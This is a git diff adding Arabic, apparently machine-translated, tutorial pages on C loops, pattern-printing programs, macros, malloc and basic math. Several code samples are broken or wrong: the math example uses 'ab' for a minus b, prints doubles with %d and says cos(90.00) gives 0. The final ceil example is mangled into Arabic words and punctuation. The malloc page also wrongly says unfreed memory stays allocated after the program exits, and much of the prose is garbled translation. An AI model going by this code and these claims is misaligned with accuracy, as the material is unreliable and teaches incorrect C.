+في حين أن العبارة داخل حلقة أثناء صحيحة ، سيتم تشغيل المحتوى داخل الأقواس. عندما يضرب البرنامج `while(my_number)` ، فإنه يتحقق من العبارة داخل الأقواس. إذا كانت هذه العبارة خاطئة ، فلن تقوم بتشغيل حلقة while. بدلاً من ذلك ، سيتم تخطي التعليمة البرمجية بين القوسين بين قوسين وسيتم التقاطها من حيث توقفت.
+
+إذا كان البيان صحيحًا ، فسيتم تشغيل التعليمة البرمجية داخل الأقواس. بمجرد تشغيل التعليمة البرمجية داخل الأقواس ، سيتم التحقق من العبارة داخل القوس مرة أخرى. تمامًا كما كان من قبل ، إذا كانت العبارة صحيحة ، فسيتم تشغيل الشفرة ، إذا كانت خاطئة ، سيتم تخطي الرمز.
+
+الشيء الذي قد تصادفه عند اللعب مع هذه الحلقة أو أي حلقة أخرى هو فكرة حلقة لا نهائية يمكن تشغيلها لعدد لا نهائي من المرات لأنه لا يوجد شيء لإيقافه. في بعض الأحيان يمكن أن يحدث هذا عن قصد:
+
+ `while(1) { 
+    printf("This will get printed forever unless the program is stopped!"); 
+ } 
+` 
+
+بالطبع ، يمكن أن يحدث أيضا عن طريق الخطأ. إليك الشفرة نفسها التي كانت عليها من قبل ، ولكن مع اختلاف دقيق يجعلها في حلقة لا نهائية:
+
+ `#include <stdio.h> 
+ 
+ int main(void) { 
+    int my_number = 11; 
+ 
+    while(my_number != 10){ 
+        ++my_number; 
+    } 
+ 
+    printf("my_number = %i", my_number); 
+ 
+    return 0; 
+ } 
+` 
+
+عندما يتم تقييم هذه الحلقة في `my_number` ، سيتم التحقق من `my_number` لمعرفة ما إذا كانت ليست 10. لم يتم ذلك ، لأنه تمت تهيئتها في 11 ، لذا سيتم تشغيل الشفرة داخل الحلقة بينما سيكون `my_number` 12. 12 لا يساوي 10 ، لذلك سيتم تشغيل التعليمات البرمجية داخل حلقة أثناء و `my_number` سيكون 13. سوف يستمر تشغيل هذا إلى الأبد لأن هذا الشرط لن تصبح خاطئة أبداً - الطريقة الوحيدة للتوقف هو أن يتم فرض البرنامج للتوقف عن التشغيل. هذا مثال على حلقة لا نهائية ، لأنه إذا تُرك بمفرده ، فسوف يتم تشغيل عدد لا نهائي من المرات.
+
+## هل أثناء حلقات
+
+تعتبر "مهام المهام" أقل استخدامًا من حلقة "وقت". بينما تبدأ الحلقات بتقييم ، لذلك إذا كان هذا التقييم خاطئًا ، فلن يتم تشغيل الشفرة داخل الأقواس. ومع وجود حلقة do-while ، يتم تشغيل الكود الموجود بين الأقواس مرة واحدة ، ثم يتم تنفيذ التقييم لمعرفة ما إذا كان يجب تشغيله مرة أخرى.
+
+### بناء الجملة
+
+ `do { 
+   statement(s); 
+ } while( condition ); 
+` 
+
+وإليك نظرة على ذلك:
+
+ `#include <stdio.h> 
+ 
+ int main(void){ 
+    int a = 0; 
+ 
+    do { 
+        a++ 
+    } while(a == -123); 
+ 
+    printf("%i\n", a); 
+ 
+    return 0; 
+ } 
+` 
+
+إذا كانت هذه حلقة مستمرة ، فلن يتم تشغيل الرمز الموجود بين الأقواس لأن هذا الشرط ليس صحيحًا عند إجراء التقييم. ومع ذلك ، نظرًا لأن هذه حلقة do-while ، سيتم تنفيذ الكود مرة واحدة ، ثم يتم إجراء التقييم لمعرفة ما إذا كان يجب إجراء ذلك مرة أخرى. تعد "مهام المهام أثناء العمل" مفيدة عندما تعرف أنك تريد القيام بشيء ما مرة واحدة ، ولكن قد تحتاج إلى تشغيله مرة أخرى بعد ذلك.
+
+## للحلقات
+
+بالنسبة إلى الحلقات عندما نريد تشغيل شيء ما لعدد معين من المرات.
+
+### بناء الجملة
+
+ `for(initialisation; condition; changer) 
+ { 
+   statement(s); 
+ } 
+` 
+
+إليك مثال على ذلك:
+
+ `#include <stdio.h> 
+ 
+ int main(void) { 
+    int a = 4; 
+    int b = 2; 
+    int result = 0; 
+ 
+    for(int count = 0; count != b; count++) { 
+        result = result + a; 
+    } 
+ 
+    printf("a times b is %i\n", result); 
+ 
+    return 0; 
+ } 
+` 
+
+الضرب هو مجرد تكرار زائد ، لذلك هذا هو إضافة على `a` ، `b` مرة. دعونا نلقي نظرة على على `for` قمة على وجه الخصوص:
+
+ `for(int count = 0; count != b; count++) 
+` 
+
+على عكس الحلقة ، هناك ثلاثة أشياء في قوسينا مفصولة بفواصل منقوطة. القسم الأول هو التهيئة ، ويشار إليه بـ "التهيئة": فهو يسمح لك بإنشاء متغير جديد وتعيين قيمة له ، أو تعيين متغير موجود إلى قيمة مختلفة ، أو لا يمكنك تعيين أي شيء ووضعه فاصلة منقوطة.
+
+القسم التالي عبارة عن شرط منطقي سيتم التحقق منه صوابًا أو خطأ ، تمامًا كما هو الحال في حلقة العمل. يشار إليه على أنه "شرط" ، لأنه الشرط الذي سيتم التحقق منه قبل بدء حلقة.
+
+يشار إلى القسم الأخير باسم "الزيادة / التناقص". وتتمثل مهمتها في إجراء بعض العمليات في كل حلقة - عادة ما تضيف أو تطرح من المتغير الأولي - بعد أن يتم تنفيذ الشفرة داخل الأقواس. في هذه الحالة ، يتم إضافة واحد فقط إلى العدد. هذه هي الطريقة الأكثر شيوعًا لاستخدام الزيادة ، لأنها تتيح لك الاحتفاظ بعدد المرات التي قمت فيها بتشغيل من خلال حلقة for.
+
+### مقارنة بناء الجملة
+
+ `main() 
+ { 
+  int i = 1; 
+  while(i<=5) 
+  { 
+     printf(“While”); 
+     i++; 
+   } 
+  getch(); 
+ } 
+ 
+ 
+ main() 
+ { 
+  int i = 1; 
+  do 
+  { 
+     printf(“do-while”); 
+     i++; 
+   } while(i<=5); 
+  getch(); 
+ 
+ } 
+ 
+ 
+ main() 
+ { 
+  int i 
+  for(i=1;i<=5;i++) 
+  { 
+     printf(“for”); 
+   } 
+  getch(); 
+ } 
+` 
+
+# بيانات التحكم في الحلقة
+
+تغيير عبارات التحكم حلقة تنفيذ التتابع العادي الخاص به. عندما يترك التنفيذ نطاقًا ، يتم إتلاف جميع الكائنات التلقائية التي تم إنشاؤها في هذا النطاق.
+
+يدعم C عبارات التحكم التالية:
+
+#### 1\. بيان الاستراحة
+
+ينهي بيان **الحلقة** أو **المفتاح** وينقل التنفيذ إلى العبارة التالية مباشرة للحلقة أو المفتاح.
+
+#### 2\. متابعة البيان
+
+يتسبب في الحلقة لتخطي بقية الجسم وإعادة اختبار حالته على الفور قبل التكرار.
+
+#### 3\. غوتو البيان
+
+التحويلات السيطرة على البيان المسمى.
+
+# بعض المرح والمفيدة المراوغات
+
+## حلقات لانهائية مع الحلقات
+
+خذ لحظة للنظر في ما سيفعله هذا الرمز:
+
+ `for(;;){ 
+    printf("hello, world! \n"); 
+ } 
+ 
+ while("Free Code Camp"){ 
+    printf("hello, world! \n"); 
+ } 
+` 
+
+لا يوجد شيء في قسم التهيئة ، لذا لم تتم تهيئة أي شيء. هذا أمر جيد ، ويتم ذلك أحيانًا لأنك لا تريد دائمًا أو تحتاج إلى تهيئة أي شيء.
+
+التالي هو الشرط ، وهو فارغ. هذا غريب بعض الشيء. هذا يعني أنه لن يتم اختبار أي حالة ، لذا لن يكون الأمر كاذبًا ، لذلك سيتم تشغيله من خلال الحلقة ، وتنفيذ الفكرة (التي لا تفعل شيئًا) ، ثم التحقق من الحالة مرة أخرى ، مما سيجعلها تعمل مرة أخرى. كما أدركت على الأرجح ، هذه حلقة لا نهائية. كما تبين ، هذا مفيد بالفعل. عند إنشاء حلقة لا نهائية ، تكون طريقة العمل `while(1)` شرعية تمامًا ، ولكنها تُجري مقارنة في كل مرة. `for(;;)` ، من ناحية أخرى ، لا. لهذا السبب ، `for(;;)` له استخدام شرعي في أنه شعر أكثر كفاءة من الطرق الأخرى من حلقات لانهائية. لحسن الحظ ، سوف يعتني العديد من المجمعين بهذا من أجلك.
+
+سيتم تنفيذ الحلقة في الكود الثاني أثناء ("Free Code Camp") أيضًا بشكل لا نهائي. ويرجع السبب في ذلك إلى اعتبار C أي قيمة غير صفرية كحقيقة وبالتالي سيتم تنفيذ الحلقة بلا حدود.
+
+## لا تستخدم الأقواس
+
+خلال هذه الصفحة ، قرأت أن الكود "داخل الأقواس" هو ما يتم تشغيله ، وهذا صحيح في الغالب. ومع ذلك ، ماذا لو لم تكن هناك أقواس؟
+
+ `while(true) 
+    printf("hello, world! \n"); 
+` 
+
+في حالات مثل هذه ، سيعامل C السطر التالي باعتباره المحتوى الوحيد الذي يحتاج إلى حلقات. يتجاهل C المسافات البيضاء ، بحيث تكون المسافة البادئة موجودة فقط للوضوح. سيتم التعامل مع ذلك السطر فقط كما لو كان في الحلقة ، وهذه خاصية إذا كانت هناك عبارات لكل حلقات وحلقات أثناء المشاركة. نظرًا لأنه يتم تجاهل المساحة البيضاء ، فإن موضع الإعلان لا يهم: يمكن أن يكون على نفس السطر أو السطر التالي أو 300 سطر ومسافتين لأسفل طالما لا توجد أسطر أخرى من الكود بينهما. يمكن أن تجعل هذه الميزة التعليمات البرمجية تبدو منظفاً قليلاً عندما يكون لديك سطر واحد فقط من التعليمات البرمجية لتشغيل في عبارة.
+
+## الفواصل المنقوطة بدلاً من الأقواس
+
+إذا لم تكن هناك أقواس ، سيبدو المحول البرمجي فقط في السطر التالي ويكون ذلك هو محتوى الحلقة. تخبر الفواصل المنقوطة المترجم بأن الخط قد انتهى. مع هذه الأشياء مجتمعة ، يمكن أن ننتظر C حتى يصبح شيء صحيح. لنفترض أن لدينا طريقة تسمى `is_button_pressed` وترجع false إذا لم يتم الضغط على زر ، وصحيح إذا تم الضغط على زر:
+
+ `while(!is_button_pressed()); 
+` 
+
+لا يحدث شيء في هذه الحلقة ، لأن الخط الوحيد الذي سينظر إليه هو فاصلة منقوطة. نتيجة لذلك ، سيتم استدعاء الأسلوب `is_button_pressed` ، وسيتم تقييم قيمة الإرجاع الخاصة به. إذا لم يتم الضغط على الزر وكانت قيمة الإرجاع خاطئة ، فإن `!` سوف تقلبه إلى true حتى يتم تشغيل الوظيفة مرة أخرى وتقييمها مرة أخرى. إذا كانت قيمة الإرجاع صحيحة ، فإن `!` سوف تقلبه إلى false وستخرج الحلقة الداخلية.
+
+هذا له تأثير وضع إيقاف مؤقت في التعليمات البرمجية. في هذه الحالة ، وصل الرمز إلى حلقة أثناء ، ولم يذهب إلى أبعد من ذلك. بدلاً من ذلك ، استمر في التحقق من حالة الزر لتغييره. سيكون هذا مفيدًا عندما تريد ألا يحدث شيء حتى يتم استيفاء شرط معين.
+
+# قبل أن تذهب ...
+
+## مراجعة
+
+*   الحلقات تسمح بتشغيل الكود أكثر من مرة ، عند استيفاء شروط معينة.
+*   هناك زوجين من الحلقات المتاحة لنا في C:
+*   في حين الحلقات ، والتي تسمح لنا بتشغيل التعليمات البرمجية في حين أن الشرط هو الصحيح
+*   Do-while loops ، والتي تقوم بتشغيل التعليمة البرمجية ثم متابعة تشغيلها إذا كان الشرط صحيحًا
+*   بالنسبة إلى الحلقات ، التي تشغل الشفرة أثناء تحقق الشرط وتسمح لنا بإجراء عملية كل حلقة.
+
+## استخدام الحلقات لتصميم الأنماط.
+
+#### مثال 1: برنامج لطباعة نصف الهرم باستخدام \*
+
+ `* 
+ * * 
+ * * * 
+ * * * * 
+ * * * * * 
+` 
+
+**مصدر الرمز**
+
+ `#include <stdio.h> 
+ 
+ int main() 
+ { 
+    int i, j, rows; 
+ 
+    printf("Enter number of rows: "); 
+    scanf("%d",&rows); 
+ 
+    for(i=1; i<=rows; ++i) 
+    { 
+        for(j=1; j<=i; ++j) 
+        { 
+            printf("* "); 
+        } 
+        printf("\n"); 
+    } 
+    return 0; 
+ } 
+` 
+
+#### مثال 2: برنامج لطباعة نصف الهرم باستخدام الأرقام
+
+ `1 
+ 1 2 
+ 1 2 3 
+ 1 2 3 4 
+ 1 2 3 4 5 
+` 
+
+**مصدر الرمز**
+
+ `#include <stdio.h> 
+ 
+ int main() 
+ { 
+    int i, j, rows; 
+ 
+    printf("Enter number of rows: "); 
+    scanf("%d",&rows); 
+ 
+    for(i=1; i<=rows; ++i) 
+    { 
+        for(j=1; j<=i; ++j) 
+        { 
+            printf("%d ",j); 
+        } 
+        printf("\n"); 
+    } 
+    return 0; 
+ } 
+` 
+
+#### مثال 3: برنامج لطباعة نصف الهرم باستخدام الحروف الهجائية
+
+ `A 
+ BB 
+ CCC 
+ DDDD 
+ EEEEE 
+` 
+
+**مصدر الرمز**
+
+ `#include <stdio.h> 
+ 
+ int main() 
+ { 
+    int i, j; 
+    char input, alphabet = 'A'; 
+ 
+    printf("Enter the uppercase character you want to print in last row: "); 
+    scanf("%c",&input); 
+ 
+    for(i=1; i <= (input-'A'+1); ++i) 
+    { 
+        for(j=1;j<=i;++j) 
+        { 
+            printf("%c", alphabet); 
+        } 
+        ++alphabet; 
+ 
+        printf("\n"); 
+    } 
+    return 0; 
+ } 
+` 
+
+برامج لطباعة نصف الهرم المقلوب باستخدام \* والأرقام
+
+#### مثال 4: نصف الهرم المقلوب باستخدام \*
+
+ `* * * * * 
+ * * * * 
+ * * * 
+ * * 
+ * 
+` 
+
+**مصدر الرمز**
+
+ `#include <stdio.h> 
+ 
+ int main() 
+ { 
+    int i, j, rows; 
+ 
+    printf("Enter number of rows: "); 
+    scanf("%d",&rows); 
+ 
+    for(i=rows; i>=1; --i) 
+    { 
+        for(j=1; j<=i; ++j) 
+        { 
+            printf("* "); 
+        } 
+        printf("\n"); 
+    } 
+ 
+    return 0; 
+ } 
+` 
+
+#### مثال 5: هرم نصف مقلوب باستخدام الأرقام
+
+ `1 2 3 4 5 
+ 1 2 3 4 
+ 1 2 3 
+ 1 2 
+ 1 
+` 
+
+**مصدر الرمز**
+
+ `#include <stdio.h> 
+ 
+ int main() 
+ { 
+    int i, j, rows; 
+ 
+    printf("Enter number of rows: "); 
+    scanf("%d",&rows); 
+ 
+    for(i=rows; i>=1; --i) 
+    { 
+        for(j=1; j<=i; ++j) 
+        { 
+            printf("%d ",j); 
+        } 
+        printf("\n"); 
+    } 
+ 
+    return 0; 
+ } 
+` 
+
+#### مثال 6: برنامج لطباعة الهرم الكامل باستخدام \*
+
+ `        * 
+      * * * 
+    * * * * * 
+  * * * * * * * 
+ * * * * * * * * * 
+` 
+
+**مصدر الرمز**
+
+ `#include <stdio.h> 
+ 
+ int main() 
+ { 
+    int i, space, rows, k=0; 
+ 
+    printf("Enter number of rows: "); 
+    scanf("%d",&rows); 
+ 
+    for(i=1; i<=rows; ++i, k=0) 
+    { 
+        for(space=1; space<=rows-i; ++space) 
+        { 
+            printf("  "); 
+        } 
+ 
+        while(k != 2*i-1) 
+        { 
+            printf("* "); 
+            ++k; 
+        } 
+ 
+        printf("\n"); 
+    } 
+ 
+    return 0; 
+ } 
+` 
+
+#### مثال 7: برنامج لطباعة الهرم باستخدام الأرقام
+
+ `        1 
+      2 3 2 
+    3 4 5 4 3 
+  4 5 6 7 6 5 4 
+ 5 6 7 8 9 8 7 6 5 
+` 
+
+**مصدر الرمز**
+
+ `#include <stdio.h> 
+ 
+ int main() 
+ { 
+    int i, space, rows, k=0, count = 0, count1 = 0; 
+ 
+    printf("Enter number of rows: "); 
+    scanf("%d",&rows); 
+ 
+    for(i=1; i<=rows; ++i) 
+    { 
+        for(space=1; space <= rows-i; ++space) 
+        { 
+            printf("  "); 
+            ++count; 
+        } 
+ 
+        while(k != 2*i-1) 
+        { 
+            if (count <= rows-1) 
+            { 
+                printf("%d ", i+k); 
+                ++count; 
+            } 
+            else 
+            { 
+                ++count1; 
+                printf("%d ", (i+k-2*count1)); 
+            } 
+            ++k; 
+        } 
+        count1 = count = k = 0; 
+ 
+        printf("\n"); 
+    } 
+    return 0; 
+ } 
+` 
+
+#### مثال 8: الهرم الكامل المعكوس باستخدام \*
+
+ `* * * * * * * * * 
+  * * * * * * * 
+    * * * * * 
+      * * * 
+        * 
+` 
+
+**مصدر الرمز**
+
+ `#include<stdio.h> 
+ 
+ int main() 
+ { 
+    int rows, i, j, space; 
+ 
+    printf("Enter number of rows: "); 
+    scanf("%d",&rows); 
+ 
+    for(i=rows; i>=1; --i) 
+    { 
+        for(space=0; space < rows-i; ++space) 
+            printf("  "); 
+ 
+        for(j=i; j <= 2*i-1; ++j) 
+            printf("* "); 
+ 
+        for(j=0; j < i-1; ++j) 
+            printf("* "); 
+ 
+        printf("\n"); 
+    } 
+ 
+    return 0; 
+ } 
+` 
+
+#### مثال 9: طباعة مثلث باسكال
+
+ `           1 
+         1   1 
+       1   2   1 
+     1   3   3    1 
+   1  4    6   4   1 
+ 1  5   10   10  5   1 
+` 
+
+**مصدر الرمز**
+
+ `#include <stdio.h> 
+ 
+ int main() 
+ { 
+    int rows, coef = 1, space, i, j; 
+ 
+    printf("Enter number of rows: "); 
+    scanf("%d",&rows); 
+ 
+    for(i=0; i<rows; i++) 
+    { 
+        for(space=1; space <= rows-i; space++) 
+            printf("  "); 
+ 
+        for(j=0; j <= i; j++) 
+        { 
+            if (j==0 || i==0) 
+                coef = 1; 
+            else 
+                coef = coef*(i-j+1)/j; 
+ 
+            printf("%4d", coef); 
+        } 
+        printf("\n"); 
+    } 
+ 
+    return 0; 
+ } 
+` 
+
+#### مثال 10: طباعة مثلث فلويد.
+
+ `1 
+ 2 3 
+ 4 5 6 
+ 7 8 9 10 
+` 
+
+**مصدر الرمز**
+
+ `#include <stdio.h> 
+ 
+ int main() 
+ { 
+    int rows, i, j, number= 1; 
+ 
+    printf("Enter number of rows: "); 
+    scanf("%d",&rows); 
+ 
+    for(i=1; i <= rows; i++) 
+    { 
+        for(j=1; j <= i; ++j) 
+        { 
+            printf("%d ", number); 
+            ++number; 
+        } 
+ 
+        printf("\n"); 
+    } 
+ 
+    return 0; 
+ } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/c/macros/index.md b/client/src/guide/arabic/c/macros/index.md
new file mode 100644
index 0000000000..ec0022cebb
--- /dev/null
+++ b/client/src/guide/arabic/c/macros/index.md
@@ -0,0 +1,68 @@
+---
+title: Macros in C
+localeTitle: وحدات الماكرو في C
+---
+## وحدات الماكرو في C
+
+ماكرو هو جزء من التعليمة البرمجية باسم معين. عند استخدام الاسم ، يتم استبداله بمحتوى الماكرو.
+
+#### تحديد وحدات الماكرو
+
+يتم استخدام الكلمة الأساسية `#define` لتحديد وحدات الماكرو الجديدة. يتبعه اسم ومحتوى. حسب الاصطلاح ، تتم كتابة أسماء الماكرو في أحرف كبيرة.
+
+ `#define PI 3.14 
+` 
+
+إذا كنت تستخدم الماكرو بهذه الطريقة:
+
+ `printf("Value of PI: %d", PI); 
+` 
+
+هو نفس كتابة هذا:
+
+ `printf("Value of PI: %d", 3.14); 
+` 
+
+#### أنواع وحدات الماكرو
+
+هناك نوعان من وحدات الماكرو. وحدات الماكرو `Object-like` ، أظهر أعلاه ، ووحدات الماكرو `Function-like` .
+
+#### وحدات تشبه وظيفة
+
+تشبه دالة تستخدم نفس الكلمة `#define` . الفرق هو أنك تستخدم قوسين زوج بعد اسم الدالة.
+
+ `#define hello_world() printf("Hello World!") 
+` 
+
+لذلك اتصلت:
+
+ `hello_world() 
+` 
+
+لقد حصلت:
+
+ `printf("Hello World!"); 
+` 
+
+يمكنك تعيين المعلمات أيضًا:
+
+ `#define hello(X) printf("Hello " X "!") 
+` 
+
+الآن الاتصال:
+
+ `hello("World"); 
+` 
+
+تحصل على equivallent:
+
+ `printf("Hello World!"); 
+` 
+
+#### معلومات اكثر:
+
+[وثائق مجلس التعاون الخليجي عبر الإنترنت: وحدات الماكرو](https://gcc.gnu.org/onlinedocs/cpp/Macros.html)
+
+[وثائق مجلس التعاون الخليجي عبر الإنترنت: وحدات ماكرو تشبه الكائنات](https://gcc.gnu.org/onlinedocs/cpp/Object-like-Macros.html#Object-like-Macros)
+
+[وثائق مجلس التعاون الخليجي على الإنترنت: وحدات الماكرو مثل وظيفة](https://gcc.gnu.org/onlinedocs/cpp/Function-like-Macros.html#Function-like-Macros)
\ No newline at end of file
diff --git a/client/src/guide/arabic/c/malloc/index.md b/client/src/guide/arabic/c/malloc/index.md
new file mode 100644
index 0000000000..db1244bb78
--- /dev/null
+++ b/client/src/guide/arabic/c/malloc/index.md
@@ -0,0 +1,39 @@
+---
+title: malloc
+localeTitle: malloc
+---
+# malloc في C
+
+malloc () هي دالة مكتبة تسمح C لتخصيص الذاكرة بشكل حيوي من الكومة. كومة الذاكرة المؤقتة هي منطقة من الذاكرة حيث يتم تخزين شيء ما.
+
+malloc () جزء من stdlib.h ولتتمكن من استخدامه تحتاج إلى استخدام `#include <stdlib.h>` .
+
+## باستخدام Malloc
+
+يخصص malloc () ذاكرة حجم المطلوب وإرجاع مؤشر إلى بداية كتلة المخصصة. للاحتفاظ بالمؤشر المرتجع ، يجب علينا إنشاء متغير. يجب أن يكون المؤشر من نفس النوع المستخدم في بيان malloc.  
+سنقوم هنا بإعداد مؤشر إلى مجموعة من النمل قريباً
+
+ `int* arrayPtr; 
+` 
+
+بخلاف اللغات الأخرى ، لا تعرف C نوع البيانات الذي تقوم بتخصيص الذاكرة له ؛ يجب أن يقال. لحسن الحظ ، لدى C دالة تسمى `sizeof()` يمكننا استخدامها.
+
+ `arrayPtr = (int *)malloc(10 * sizeof(int)); 
+` 
+
+استخدم هذا البيان malloc لوضع الذاكرة جانباً لمجموعة من 10 أعداد صحيحة. بما أن الأحجام يمكن أن تتغير بين أجهزة الكمبيوتر ، فمن المهم استخدام الدالة sizeof () لحساب الحجم على الكمبيوتر الحالي.
+
+ستحتاج أي ذاكرة مخصصة أثناء تنفيذ البرنامج إلى تحريرها قبل إغلاق البرنامج. `free` الذاكرة ، يمكننا استخدام وظيفة free ()
+
+ `free( arrayPtr ); 
+` 
+
+سيؤدي هذا البيان إلى إلغاء تخصيص الذاكرة التي تم تخصيصها مسبقًا. لا يأتي C مع `garbage collector` مثل بعض اللغات الأخرى ، مثل Java. نتيجة لذلك ، سيتم تخصيص الذاكرة التي لم يتم تحريرها بشكل صحيح بعد إغلاق البرنامج.
+
+# قبل أن تذهب ...
+
+## مراجعة
+
+*   يتم استخدام Malloc لتخصيص الذاكرة الحيوية وهو مفيد عندما لا تعرف مقدار الذاكرة المطلوبة أثناء وقت التحويل البرمجي.
+*   تخصيص الذاكرة يسمح بوجود كائنات خارج نطاق الكتلة الحالية.
+*   C يمر بقيمة بدلاً من المرجع. استخدام malloc لتعيين الذاكرة ثم تمرير المؤشر إلى دالة أخرى أكثر فاعلية من إعادة إنشاء الدالة البنية.
\ No newline at end of file
diff --git a/client/src/guide/arabic/c/math/index.md b/client/src/guide/arabic/c/math/index.md
new file mode 100644
index 0000000000..6885955e64
--- /dev/null
+++ b/client/src/guide/arabic/c/math/index.md
@@ -0,0 +1,164 @@
+---
+title: Basic Math
+localeTitle: الرياضيات الأساسية
+---
+# الرياضيات في C
+
+يوفر C الكثير من الخيارات للقيام بالرياضيات. سنبدأ ببعض العناصر الأكثر شيوعًا أولاً.
+
+## الاشياء الاساسية
+
+هذه الأمثلة التالية ليست شفرة كاملة ، بل هي مجرد أمثلة على شكل الشفرة. تذكر أنه في C ، سنحتاج إلى أن يتم الإعلان عن كل شيء قبل استخدامه - `result` ، ستحتاج `a` ، و `b` إلى أن يتم تهيئتها بالفعل وتعيينها إلى قيمة. وسواء أكانوا `int` `double` أو مهما كان مهمًا لمنع الأخطاء وفقدان المعلومات ، فسنصل إلى ذلك لاحقًا.
+
+#### إضافة: `+`
+
+يتم تنفيذ الإضافة بعلامة `+` ، مثل:
+
+ `result = a + b; 
+` 
+
+في المثال أعلاه ، ستكون `result` المتغيرة مساوية لـ + b.
+
+#### الطرح: `-`
+
+يتم تنفيذ الإضافة باستخدام `-` مثل:
+
+ `result = a - b; 
+` 
+
+في المثال أعلاه ، ستكون `result` المتغيرة مساوية للقيمة a - b.
+
+#### الضرب: `*`
+
+يتم تنفيذ الضرب بـ `*` ، مثل:
+
+ `result = a * b; 
+` 
+
+في المثال أعلاه ، ستكون `result` المتغيرة مساوية للقيمة مضروبًا في b.
+
+#### الشعبة: `/`
+
+يتم تنفيذ القسم بـ `/` ، مثل:
+
+ `result = a / b; 
+` 
+
+في المثال أعلاه ، ستكون `result` المتغيرة مساوية للفقرة ب. هذا ليس دائما جزءا من أكثر من ب ، ولكن. عند التعامل مع الأعداد الصحيحة ، تصبح الأمور مختلفة قليلاً عن ذلك لاحقًا.
+
+# الأشياء غير الأساسية
+
+## Modulo: '٪'
+
+حسنًا ، تبدأ الأمور الآن في الحصول على القليل من الغرابة.
+
+يتيح لك Modulo العثور على الباقي في القسمة. تذكر أنه مع الأعداد الصحيحة ، لا يمكن أن يكون لدينا عشري. الشعبة تدور حول إيجاد عدد المرات التي يتناسب فيها رقم واحد مع آخر ، أما الطريقة فهي عن إيجاد ما تبقى. خذ 27 مقسومًا على 4: 4 تناسب 27 مرة. 6 مرات 4 هي 24 ، مما يعني أن هناك 3 متبقية. نتيجة لذلك ، يكون 27٪ 4 هو 3. 10 مقسومًا على 5 هو 2 ، 2 مرات 5 هو 10 ، لذلك يوجد 0 متبقيًا. وكنتيجة لذلك ، يكون 10٪ 5 0.
+
+يعتبر مشغل modulo أكثر أهمية مما قد تفكر به ، خاصة في C حيث يتم فرض الفرق بين النقطة العائمة والأرقام الصحيحة. الأمر يستحق أن تكون مرتاحًا. إليك مثال على ذلك:
+
+ `result = a % b; 
+` 
+
+في المثال أعلاه ، ستكون `result` مساوية ل modulo b.
+
+## الأعداد الصحيحة والرياضيات
+
+الأعداد الصحيحة لا يمكن أن تحتوي على الكسور العشرية. وكنتيجة لذلك ، عند إجراء التقسيم مع الأعداد الصحيحة ، سيتم اقتطاع أي نوع من العلامة العشرية. على سبيل المثال ، 17 مقسومة على 10 هي 1.7. ومع ذلك ، إذا كنا نتعامل فقط مع الأعداد الصحيحة ، فإن هذه النتيجة ستكون 1 ، وليس 1.7. 10 يناسب 17 مرة ، لذا فإن الإجابة هي 1.
+
+عند التعامل مع أرقام النقاط العائمة ، هذه ليست مشكلة. يمكن لأرقام النقاط العائمة أن تأخذ الأماكن العشرية ، لذلك لا داعي للقلق بشأن الأشياء التي يتم اقتطاعها.
+
+### لماذا يقوم C بذلك؟
+
+ج ، كما نوقش في وقت سابق ، هي لغة منخفضة المستوى. هناك اختلافات كبيرة بين النقاط العائمة والأعداد الصحيحة في أجهزة الكمبيوتر ، وهي تتطلب أن تكون لبعض أنواع البيانات خصائص معينة (مثل عدم قبول الكسور العشرية ، على سبيل المثال). لا تقدم C أي افتراضات حول ما تريد ، وتجبرك على التفكير في الأمر بنفسك.
+
+### لماذا لا نستخدم أرقام النقاط العائمة طوال الوقت؟
+
+هذا يأتي أيضا إلى C كونها لغة منخفضة المستوى. C أكثر بكثير وأسرع بكثير وأخف كثيرًا من العديد من اللغات الأخرى ، وأحد أسباب ذلك هو السبب في كون المبرمج قادرًا على اتخاذ قرارات ذكية حول أنواع البيانات. تذكر أن أرقام النقطة العائمة تستهلك ذاكرة أكثر بكثير من الأعداد الصحيحة. نتيجة لذلك ، من المهم استخدام نوع البيانات المناسب ، والتعامل مع عدد صحيح لتحويلات النقطة العائمة كلما لزم الأمر.
+
+### كيف نتغلب على هذا؟
+
+الصب (الموصوف لاحقا) هو أحد الحلول. والآخر هو استخدام أرقام النقطة العائمة. إذا كان أحد الأرقام أو كلاهما قيد التشغيل رقم نقطة عائمة ، ستكون النتيجة رقمًا عائمًا. يصبح هذا الأمر أكثر تعقيدًا عندما نبدأ في التعامل مع ترتيب العمليات ، ولكن في الوقت الحالي ، كن على علم بأن هذا يعمل:
+
+ `double result = 23.0 / 2; 
+` 
+
+# مثال كامل
+
+ `#include <stdio.h> 
+ 
+ // This is a comment. It gets ignored by the compiler, so we can write notes after the double slashes. 
+ 
+ int main(void) { 
+    int a = 3; 
+    int b = 5; 
+    int result = 0; 
+ 
+    // Doing things with variables: 
+    result = a + b; 
+    printf("a plus b = %i \n", result); 
+ 
+    // You can also do the operation inside the printf. 
+    // Here's an example of that with subtraction: 
+    printf("a minus b = %i \n", ab); 
+ 
+    // You don't need to do this with variables at all. 
+    // Here's an example of that with multiplication: 
+    printf("10 times 5 = %i \n", 10*5); 
+ 
+    // Here's a look at division. 
+    // Notice that the decimals are truncated because we're dealing with integers. 
+    printf("12 divided by 5 = %i \n", 12/5); 
+ 
+    // Now let's force floating point numbers by including a decimal. 
+    // Notice that even though these are integers, the decimal forces them to be 
+    // treated as floating point numbers, so they aren't truncated. 
+    // Note that I'm printing a double with %d, not an int with %i. 
+    printf("12.0 divided by 5 = %d \n", 12.0/5); 
+ 
+    return 0; 
+ } 
+` 
+
+امنح هذه الفرصة لترى ما يحدث ، وتأكد من اللعب مع المشغلين والقيم لمعرفة ما وكيف تتغير الأشياء.
+
+# مكتبة الرياضيات
+
+يوفر C مكتبة رياضيات ( `math.h` ) التي توفر وظائف حسابية مفيدة متعددة. على سبيل المثال ، يمكن حساب قوة الرقم على النحو التالي:
+
+ `int result = pow(2,3) // will result in 2*2*2 or 8 
+` 
+
+بعض دالات مكتبة ( `math.h` ) الأخرى التي قد تكون مفيدة هي:
+
+`#include <math.h> double angle = cos(90.00); // Givs us 0.00 int result = sqrt(16); // Gives us 4 double result = log(10.00) // Gives us 2.30 (note this is ln(10), not log base 10)`
+
+// كود C لتوضيح // استخدام وظيفة ceil.
+
+# تتضمن
+
+# تتضمن
+
+انت مين () { float val1، val2، val3، val4؛
+
+val1 = 1.6؛ val2 = 1.2؛ val3 = -2.8؛ val4 = -2.3 ؛
+
+printf ("value1 =٪ .1lf \\ n"، ceil (val1))؛ printf ("value2 =٪ .1lf \\ n"، ceil (val2))؛ printf ("value3 =٪ .1lf \\ n"، ceil (val3))؛ printf ("value4 =٪ .1lf \\ n"، ceil (val4))؛
+
